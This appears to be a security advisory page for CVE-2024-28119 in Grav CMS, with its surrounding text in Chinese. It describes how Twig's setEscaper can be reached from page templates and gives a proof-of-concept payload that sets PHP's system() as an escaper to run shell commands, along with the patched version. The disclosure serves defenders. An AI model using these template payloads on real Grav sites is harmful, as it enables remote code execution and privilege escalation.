CVE-2024-28119

描述

### Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. ### Details https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99 ```php /** * Defines a new escaper to be used via the escape filter. * * @param string $strategy The strategy name that should be used as a strategy in the escape call * @param callable $callable A valid PHP callable */ public function setEscaper($strategy, callable $callable) { $this->escapers[$strategy] = $callable; } ``` Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below. ```plaintext {{ grav.twig.twig.extensions.core.setEscaper('a','a') }} ``` At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function. ### PoC ``` {{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }} {{ var_dump(['id'] | escape('system', 'system')) }} ``` ### Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

如何修補 CVE-2024-28119

要修補 CVE-2024-28119,請將受影響套件升級到下列已修補版本。

• —升級至 1.7.45 或更新版本

CVE-2024-28119 正在被利用嗎?

低 — EPSS 為 1.6%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 1.7.45